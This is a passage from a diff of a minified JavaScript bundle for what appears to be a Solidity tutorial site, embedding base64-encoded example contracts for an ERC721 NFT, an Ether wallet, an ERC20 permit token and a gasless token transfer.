bHNbaWRdID0gc3BlbmRlcjsKCiAgICAgICAgZW1pdCBBcHByb3ZhbChvd25lciwgc3BlbmRlciwgaWQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEFwcHJvdmVkKHVpbnQyNTYgaWQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcykgewogICAgICAgIHJlcXVpcmUoX293bmVyT2ZbaWRdICE9IGFkZHJlc3MoMCksICJ0b2tlbiBkb2Vzbid0IGV4aXN0Iik7CiAgICAgICAgcmV0dXJuIF9hcHByb3ZhbHNbaWRdOwogICAgfQoKICAgIGZ1bmN0aW9uIF9pc0FwcHJvdmVkT3JPd25lcihhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgaWQpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICByZXR1cm4gKAogICAgICAgICAgICBzcGVuZGVyID09IG93bmVyIHx8IGlzQXBwcm92ZWRGb3JBbGxbb3duZXJdW3NwZW5kZXJdCiAgICAgICAgICAgICAgICB8fCBzcGVuZGVyID09IF9hcHByb3ZhbHNbaWRdCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBmcm9tLCBhZGRyZXNzIHRvLCB1aW50MjU2IGlkKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUoZnJvbSA9PSBfb3duZXJPZltpZF0sICJmcm9tICE9IG93bmVyIik7CiAgICAgICAgcmVxdWlyZSh0byAhPSBhZGRyZXNzKDApLCAidHJhbnNmZXIgdG8gemVybyBhZGRyZXNzIik7CgogICAgICAgIHJlcXVpcmUoX2lzQXBwcm92ZWRPck93bmVyKGZyb20sIG1zZy5zZW5kZXIsIGlkKSwgIm5vdCBhdXRob3JpemVkIik7CgogICAgICAgIF9iYWxhbmNlT2ZbZnJvbV0tLTsKICAgICAgICBfYmFsYW5jZU9mW3RvXSsrOwogICAgICAgIF9vd25lck9mW2lkXSA9IHRvOwoKICAgICAgICBkZWxldGUgX2FwcHJvdmFsc1tpZF07CgogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgdG8sIGlkKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKGFkZHJlc3MgZnJvbSwgYWRkcmVzcyB0bywgdWludDI1NiBpZCkgZXh0ZXJuYWwgewogICAgICAgIHRyYW5zZmVyRnJvbShmcm9tLCB0bywgaWQpOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICB0by5jb2RlLmxlbmd0aCA9PSAwCiAgICAgICAgICAgICAgICB8fCBJRVJDNzIxUmVjZWl2ZXIodG8pLm9uRVJDNzIxUmVjZWl2ZWQobXNnLnNlbmRlciwgZnJvbSwgaWQsICIiKQogICAgICAgICAgICAgICAgICAgID09IElFUkM3MjFSZWNlaXZlci5vbkVSQzcyMVJlY2VpdmVkLnNlbGVjdG9yLAogICAgICAgICAgICAidW5zYWZlIHJlY2lwaWVudCIKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHNhZmVUcmFuc2ZlckZyb20oCiAgICAgICAgYWRkcmVzcyBmcm9tLAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludDI1NiBpZCwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHsKICAgICAgICB0cmFuc2ZlckZyb20oZnJvbSwgdG8sIGlkKTsKCiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgdG8uY29kZS5sZW5ndGggPT0gMAogICAgICAgICAgICAgICAgfHwgSUVSQzcyMVJlY2VpdmVyKHRvKS5vbkVSQzcyMVJlY2VpdmVkKG1zZy5zZW5kZXIsIGZyb20sIGlkLCBkYXRhKQogICAgICAgICAgICAgICAgICAgID09IElFUkM3MjFSZWNlaXZlci5vbkVSQzcyMVJlY2VpdmVkLnNlbGVjdG9yLAogICAgICAgICAgICAidW5zYWZlIHJlY2lwaWVudCIKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIF9taW50KGFkZHJlc3MgdG8sIHVpbnQyNTYgaWQpIGludGVybmFsIHsKICAgICAgICByZXF1aXJlKHRvICE9IGFkZHJlc3MoMCksICJtaW50IHRvIHplcm8gYWRkcmVzcyIpOwogICAgICAgIHJlcXVpcmUoX293bmVyT2ZbaWRdID09IGFkZHJlc3MoMCksICJhbHJlYWR5IG1pbnRlZCIpOwoKICAgICAgICBfYmFsYW5jZU9mW3RvXSsrOwogICAgICAgIF9vd25lck9mW2lkXSA9IHRvOwoKICAgICAgICBlbWl0IFRyYW5zZmVyKGFkZHJlc3MoMCksIHRvLCBpZCk7CiAgICB9CgogICAgZnVuY3Rpb24gX2J1cm4odWludDI1NiBpZCkgaW50ZXJuYWwgewogICAgICAgIGFkZHJlc3Mgb3duZXIgPSBfb3duZXJPZltpZF07CiAgICAgICAgcmVxdWlyZShvd25lciAhPSBhZGRyZXNzKDApLCAibm90IG1pbnRlZCIpOwoKICAgICAgICBfYmFsYW5jZU9mW293bmVyXSAtPSAxOwoKICAgICAgICBkZWxldGUgX293bmVyT2ZbaWRdOwogICAgICAgIGRlbGV0ZSBfYXBwcm92YWxzW2lkXTsKCiAgICAgICAgZW1pdCBUcmFuc2Zlcihvd25lciwgYWRkcmVzcygwKSwgaWQpOwogICAgfQp9Cgpjb250cmFjdCBNeU5GVCBpcyBFUkM3MjEgewogICAgZnVuY3Rpb24gbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGlkKSBleHRlcm5hbCB7CiAgICAgICAgX21pbnQodG8sIGlkKTsKICAgIH0KCiAgICBmdW5jdGlvbiBidXJuKHVpbnQyNTYgaWQpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gX293bmVyT2ZbaWRdLCAibm90IG93bmVyIik7CiAgICAgICAgX2J1cm4oaWQpOwogICAgfQp9Cg=="}],su=`

          Example of ERC721

          // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -1635,7 +1635,7 @@ How to swap tokens
         _burn(id);
     }
 }
-
          `,su=({prev:s,next:a})=>r.jsx(u,{version:_j,title:Oj,description:Pj,html:qj,prev:s,next:a,codes:$j}),au="0.8.24",nu="Ether Wallet",lu="Simple example of wallet in Solidity",pu=[{fileName:"EtherWallet.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEV0aGVyV2FsbGV0IHsKICAgIGFkZHJlc3MgcGF5YWJsZSBwdWJsaWMgb3duZXI7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgb3duZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgfQoKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IG93bmVyLCAiY2FsbGVyIGlzIG5vdCBvd25lciIpOwogICAgICAgIHBheWFibGUobXNnLnNlbmRlcikudHJhbnNmZXIoX2Ftb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0QmFsYW5jZSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"}],eu=`

          An example of a basic wallet.

          +`,au=({prev:s,next:a})=>r.jsx(u,{version:Oj,title:Pj,description:$j,html:su,prev:s,next:a,codes:qj}),nu="0.8.24",lu="Ether Wallet",pu="Simple example of wallet in Solidity",eu=[{fileName:"EtherWallet.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEV0aGVyV2FsbGV0IHsKICAgIGFkZHJlc3MgcGF5YWJsZSBwdWJsaWMgb3duZXI7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgb3duZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgfQoKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IG93bmVyLCAiY2FsbGVyIGlzIG5vdCBvd25lciIpOwogICAgICAgIHBheWFibGUobXNnLnNlbmRlcikudHJhbnNmZXIoX2Ftb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0QmFsYW5jZSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"}],cu=`

          An example of a basic wallet.

          • Anyone can send ETH.
          • Only the owner can withdraw.
            • @@ -1661,7 +1661,7 @@ How to swap tokens return address(this).balance; } } -`,cu=({prev:s,next:a})=>r.jsx(u,{version:au,title:nu,description:lu,html:eu,prev:s,next:a,codes:pu}),tu="0.8.24",ou="Gasless Token Transfer",ru="Gasless ERC20 token transfer with Meta transaction",iu=[{fileName:"ERC20Permit.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IEFHUEwtMy4wLW9ubHkKcHJhZ21hIHNvbGlkaXR5ID49MC44LjA7CgovLy8gQG5vdGljZSBNb2Rlcm4gYW5kIGdhcyBlZmZpY2llbnQgRVJDMjAgKyBFSVAtMjYxMiBpbXBsZW1lbnRhdGlvbi4KLy8vIEBhdXRob3IgU29sbWF0ZSAoaHR0cHM6Ly9naXRodWIuY29tL3RyYW5zbWlzc2lvbnMxMS9zb2xtYXRlL2Jsb2IvbWFpbi9zcmMvdG9rZW5zL0VSQzIwLnNvbCkKLy8vIEBhdXRob3IgTW9kaWZpZWQgZnJvbSBVbmlzd2FwIChodHRwczovL2dpdGh1Yi5jb20vVW5pc3dhcC91bmlzd2FwLXYyLWNvcmUvYmxvYi9tYXN0ZXIvY29udHJhY3RzL1VuaXN3YXBWMkVSQzIwLnNvbCkKLy8vIEBkZXYgRG8gbm90IG1hbnVhbGx5IHNldCBiYWxhbmNlcyB3aXRob3V0IHVwZGF0aW5nIHRvdGFsU3VwcGx5LCBhcyB0aGUgc3VtIG9mIGFsbCB1c2VyIGJhbGFuY2VzIG11c3Qgbm90IGV4Y2VlZCBpdC4KYWJzdHJhY3QgY29udHJhY3QgRVJDMjAgewogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIGZyb20sIGFkZHJlc3MgaW5kZXhlZCB0bywgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgQXBwcm92YWwoCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludDI1NiBhbW91bnQKICAgICk7CgogICAgc3RyaW5nIHB1YmxpYyBuYW1lOwogICAgc3RyaW5nIHB1YmxpYyBzeW1ib2w7CiAgICB1aW50OCBwdWJsaWMgaW1tdXRhYmxlIGRlY2ltYWxzOwogICAgdWludDI1NiBwdWJsaWMgdG90YWxTdXBwbHk7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHVibGljIGJhbGFuY2VPZjsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikpIHB1YmxpYyBhbGxvd2FuY2U7CiAgICB1aW50MjU2IGludGVybmFsIGltbXV0YWJsZSBJTklUSUFMX0NIQUlOX0lEOwogICAgYnl0ZXMzMiBpbnRlcm5hbCBpbW11dGFibGUgSU5JVElBTF9ET01BSU5fU0VQQVJBVE9SOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBub25jZXM7CgogICAgY29uc3RydWN0b3Ioc3RyaW5nIG1lbW9yeSBfbmFtZSwgc3RyaW5nIG1lbW9yeSBfc3ltYm9sLCB1aW50OCBfZGVjaW1hbHMpIHsKICAgICAgICBuYW1lID0gX25hbWU7CiAgICAgICAgc3ltYm9sID0gX3N5bWJvbDsKICAgICAgICBkZWNpbWFscyA9IF9kZWNpbWFsczsKICAgICAgICBJTklUSUFMX0NIQUlOX0lEID0gYmxvY2suY2hhaW5pZDsKICAgICAgICBJTklUSUFMX0RPTUFJTl9TRVBBUkFUT1IgPSBjb21wdXRlRG9tYWluU2VwYXJhdG9yKCk7CiAgICB9CgogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpcnR1YWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIGFsbG93YW5jZVttc2cuc2VuZGVyXVtzcGVuZGVyXSA9IGFtb3VudDsKICAgICAgICBlbWl0IEFwcHJvdmFsKG1zZy5zZW5kZXIsIHNwZW5kZXIsIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlydHVhbAogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IGFtb3VudDsKCiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQoKICAgICAgICBlbWl0IFRyYW5zZmVyKG1zZy5zZW5kZXIsIHRvLCBhbW91bnQpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIGZyb20sIGFkZHJlc3MgdG8sIHVpbnQyNTYgYW1vdW50KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpcnR1YWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIHVpbnQyNTYgYWxsb3dlZCA9IGFsbG93YW5jZVtmcm9tXVttc2cuc2VuZGVyXTsgLy8gU2F2ZXMgZ2FzIGZvciBsaW1pdGVkIGFwcHJvdmFscy4KICAgICAgICBpZiAoYWxsb3dlZCAhPSB0eXBlKHVpbnQyNTYpLm1heCkgewogICAgICAgICAgICBhbGxvd2FuY2VbZnJvbV1bbXNnLnNlbmRlcl0gPSBhbGxvd2VkIC0gYW1vdW50OwogICAgICAgIH0KICAgICAgICBiYWxhbmNlT2ZbZnJvbV0gLT0gYW1vdW50OwoKICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICBiYWxhbmNlT2ZbdG9dICs9IGFtb3VudDsKICAgICAgICB9CgogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgdG8sIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gcGVybWl0KAogICAgICAgIGFkZHJlc3Mgb3duZXIsCiAgICAgICAgYWRkcmVzcyBzcGVuZGVyLAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgdWludDI1NiBkZWFkbGluZSwKICAgICAgICB1aW50OCB2LAogICAgICAgIGJ5dGVzMzIgciwKICAgICAgICBieXRlczMyIHMKICAgICkgcHVibGljIHZpcnR1YWwgewogICAgICAgIHJlcXVpcmUoZGVhZGxpbmUgPj0gYmxvY2sudGltZXN0YW1wLCAiUEVSTUlUX0RFQURMSU5FX0VYUElSRUQiKTsKCiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYWRkcmVzcyByZWNvdmVyZWRBZGRyZXNzID0gZWNyZWNvdmVyKAogICAgICAgICAgICAgICAga2VjY2FrMjU2KAogICAgICAgICAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoCiAgICAgICAgICAgICAgICAgICAgICAgICJceDE5XHgwMSIsCiAgICAgICAgICAgICAgICAgICAgICAgIERPTUFJTl9TRVBBUkFUT1IoKSwKICAgICAgICAgICAgICAgICAgICAgICAga2VjY2FrMjU2KAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJpLmVuY29kZSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrZWNjYWsyNTYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJQZXJtaXQoYWRkcmVzcyBvd25lcixhZGRyZXNzIHNwZW5kZXIsdWludDI1NiB2YWx1ZSx1aW50MjU2IG5vbmNlLHVpbnQyNTYgZGVhZGxpbmUpIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb3duZXIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3BlbmRlciwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBub25jZXNbb3duZXJdKyssCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVhZGxpbmUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICksCiAgICAgICAgICAgICAgICB2LAogICAgICAgICAgICAgICAgciwKICAgICAgICAgICAgICAgIHMKICAgICAgICAgICAgKTsKCiAgICAgICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgICAgICByZWNvdmVyZWRBZGRyZXNzICE9IGFkZHJlc3MoMCkgJiYgcmVjb3ZlcmVkQWRkcmVzcyA9PSBvd25lciwKICAgICAgICAgICAgICAgICJJTlZBTElEX1NJR05FUiIKICAgICAgICAgICAgKTsKCiAgICAgICAgICAgIGFsbG93YW5jZVtyZWNvdmVyZWRBZGRyZXNzXVtzcGVuZGVyXSA9IHZhbHVlOwogICAgICAgIH0KCiAgICAgICAgZW1pdCBBcHByb3ZhbChvd25lciwgc3BlbmRlciwgdmFsdWUpOwogICAgfQoKICAgIGZ1bmN0aW9uIERPTUFJTl9TRVBBUkFUT1IoKSBwdWJsaWMgdmlldyB2aXJ0dWFsIHJldHVybnMgKGJ5dGVzMzIpIHsKICAgICAgICByZXR1cm4gYmxvY2suY2hhaW5pZCA9PSBJTklUSUFMX0NIQUlOX0lECiAgICAgICAgICAgID8gSU5JVElBTF9ET01BSU5fU0VQQVJBVE9SCiAgICAgICAgICAgIDogY29tcHV0ZURvbWFpblNlcGFyYXRvcigpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNvbXB1dGVEb21haW5TZXBhcmF0b3IoKSBpbnRlcm5hbCB2aWV3IHZpcnR1YWwgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBrZWNjYWsyNTYoCiAgICAgICAgICAgIGFiaS5lbmNvZGUoCiAgICAgICAgICAgICAgICBrZWNjYWsyNTYoCiAgICAgICAgICAgICAgICAgICAgIkVJUDcxMkRvbWFpbihzdHJpbmcgbmFtZSxzdHJpbmcgdmVyc2lvbix1aW50MjU2IGNoYWluSWQsYWRkcmVzcyB2ZXJpZnlpbmdDb250cmFjdCkiCiAgICAgICAgICAgICAgICApLAogICAgICAgICAgICAgICAga2VjY2FrMjU2KGJ5dGVzKG5hbWUpKSwKICAgICAgICAgICAgICAgIGtlY2NhazI1NigiMSIpLAogICAgICAgICAgICAgICAgYmxvY2suY2hhaW5pZCwKICAgICAgICAgICAgICAgIGFkZHJlc3ModGhpcykKICAgICAgICAgICAgKQogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gX21pbnQoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpIGludGVybmFsIHZpcnR1YWwgewogICAgICAgIHRvdGFsU3VwcGx5ICs9IGFtb3VudDsKCiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQoKICAgICAgICBlbWl0IFRyYW5zZmVyKGFkZHJlc3MoMCksIHRvLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIF9idXJuKGFkZHJlc3MgZnJvbSwgdWludDI1NiBhbW91bnQpIGludGVybmFsIHZpcnR1YWwgewogICAgICAgIGJhbGFuY2VPZltmcm9tXSAtPSBhbW91bnQ7CgogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHRvdGFsU3VwcGx5IC09IGFtb3VudDsKICAgICAgICB9CgogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgYWRkcmVzcygwKSwgYW1vdW50KTsKICAgIH0KfQoKY29udHJhY3QgRVJDMjBQZXJtaXQgaXMgRVJDMjAgewogICAgY29uc3RydWN0b3Ioc3RyaW5nIG1lbW9yeSBfbmFtZSwgc3RyaW5nIG1lbW9yeSBfc3ltYm9sLCB1aW50OCBfZGVjaW1hbHMpCiAgICAgICAgRVJDMjAoX25hbWUsIF9zeW1ib2wsIF9kZWNpbWFscykKICAgIHt9CgogICAgZnVuY3Rpb24gbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkgcHVibGljIHsKICAgICAgICBfbWludCh0bywgYW1vdW50KTsKICAgIH0KfQo="},{fileName:"GaslessTokenTransfer.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMjBQZXJtaXQgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gcGVybWl0KAogICAgICAgIGFkZHJlc3Mgb3duZXIsCiAgICAgICAgYWRkcmVzcyBzcGVuZGVyLAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgdWludDI1NiBkZWFkbGluZSwKICAgICAgICB1aW50OCB2LAogICAgICAgIGJ5dGVzMzIgciwKICAgICAgICBieXRlczMyIHMKICAgICkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IEdhc2xlc3NUb2tlblRyYW5zZmVyIHsKICAgIGZ1bmN0aW9uIHNlbmQoCiAgICAgICAgYWRkcmVzcyB0b2tlbiwKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICBhZGRyZXNzIHJlY2VpdmVyLAogICAgICAgIHVpbnQyNTYgYW1vdW50LAogICAgICAgIHVpbnQyNTYgZmVlLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUsCiAgICAgICAgLy8gUGVybWl0IHNpZ25hdHVyZQogICAgICAgIHVpbnQ4IHYsCiAgICAgICAgYnl0ZXMzMiByLAogICAgICAgIGJ5dGVzMzIgcwogICAgKSBleHRlcm5hbCB7CiAgICAgICAgLy8gUGVybWl0CiAgICAgICAgSUVSQzIwUGVybWl0KHRva2VuKS5wZXJtaXQoCiAgICAgICAgICAgIHNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50ICsgZmVlLCBkZWFkbGluZSwgdiwgciwgcwogICAgICAgICk7CiAgICAgICAgLy8gU2VuZCBhbW91bnQgdG8gcmVjZWl2ZXIKICAgICAgICBJRVJDMjBQZXJtaXQodG9rZW4pLnRyYW5zZmVyRnJvbShzZW5kZXIsIHJlY2VpdmVyLCBhbW91bnQpOwogICAgICAgIC8vIFRha2UgZmVlIC0gc2VuZCBmZWUgdG8gbXNnLnNlbmRlcgogICAgICAgIElFUkMyMFBlcm1pdCh0b2tlbikudHJhbnNmZXJGcm9tKHNlbmRlciwgbXNnLnNlbmRlciwgZmVlKTsKICAgIH0KfQo="}],gu=`

            Gasless ERC20 token transfer with Meta transaction

            +`,tu=({prev:s,next:a})=>r.jsx(u,{version:nu,title:lu,description:pu,html:cu,prev:s,next:a,codes:eu}),ou="0.8.24",ru="Gasless Token Transfer",iu="Gasless ERC20 token transfer with Meta transaction",gu=[{fileName:"ERC20Permit.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IEFHUEwtMy4wLW9ubHkKcHJhZ21hIHNvbGlkaXR5ID49MC44LjA7CgovLy8gQG5vdGljZSBNb2Rlcm4gYW5kIGdhcyBlZmZpY2llbnQgRVJDMjAgKyBFSVAtMjYxMiBpbXBsZW1lbnRhdGlvbi4KLy8vIEBhdXRob3IgU29sbWF0ZSAoaHR0cHM6Ly9naXRodWIuY29tL3RyYW5zbWlzc2lvbnMxMS9zb2xtYXRlL2Jsb2IvbWFpbi9zcmMvdG9rZW5zL0VSQzIwLnNvbCkKLy8vIEBhdXRob3IgTW9kaWZpZWQgZnJvbSBVbmlzd2FwIChodHRwczovL2dpdGh1Yi5jb20vVW5pc3dhcC91bmlzd2FwLXYyLWNvcmUvYmxvYi9tYXN0ZXIvY29udHJhY3RzL1VuaXN3YXBWMkVSQzIwLnNvbCkKLy8vIEBkZXYgRG8gbm90IG1hbnVhbGx5IHNldCBiYWxhbmNlcyB3aXRob3V0IHVwZGF0aW5nIHRvdGFsU3VwcGx5LCBhcyB0aGUgc3VtIG9mIGFsbCB1c2VyIGJhbGFuY2VzIG11c3Qgbm90IGV4Y2VlZCBpdC4KYWJzdHJhY3QgY29udHJhY3QgRVJDMjAgewogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIGZyb20sIGFkZHJlc3MgaW5kZXhlZCB0bywgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgQXBwcm92YWwoCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludDI1NiBhbW91bnQKICAgICk7CgogICAgc3RyaW5nIHB1YmxpYyBuYW1lOwogICAgc3RyaW5nIHB1YmxpYyBzeW1ib2w7CiAgICB1aW50OCBwdWJsaWMgaW1tdXRhYmxlIGRlY2ltYWxzOwogICAgdWludDI1NiBwdWJsaWMgdG90YWxTdXBwbHk7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHVibGljIGJhbGFuY2VPZjsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikpIHB1YmxpYyBhbGxvd2FuY2U7CiAgICB1aW50MjU2IGludGVybmFsIGltbXV0YWJsZSBJTklUSUFMX0NIQUlOX0lEOwogICAgYnl0ZXMzMiBpbnRlcm5hbCBpbW11dGFibGUgSU5JVElBTF9ET01BSU5fU0VQQVJBVE9SOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBub25jZXM7CgogICAgY29uc3RydWN0b3Ioc3RyaW5nIG1lbW9yeSBfbmFtZSwgc3RyaW5nIG1lbW9yeSBfc3ltYm9sLCB1aW50OCBfZGVjaW1hbHMpIHsKICAgICAgICBuYW1lID0gX25hbWU7CiAgICAgICAgc3ltYm9sID0gX3N5bWJvbDsKICAgICAgICBkZWNpbWFscyA9IF9kZWNpbWFsczsKICAgICAgICBJTklUSUFMX0NIQUlOX0lEID0gYmxvY2suY2hhaW5pZDsKICAgICAgICBJTklUSUFMX0RPTUFJTl9TRVBBUkFUT1IgPSBjb21wdXRlRG9tYWluU2VwYXJhdG9yKCk7CiAgICB9CgogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpcnR1YWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIGFsbG93YW5jZVttc2cuc2VuZGVyXVtzcGVuZGVyXSA9IGFtb3VudDsKICAgICAgICBlbWl0IEFwcHJvdmFsKG1zZy5zZW5kZXIsIHNwZW5kZXIsIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlydHVhbAogICAg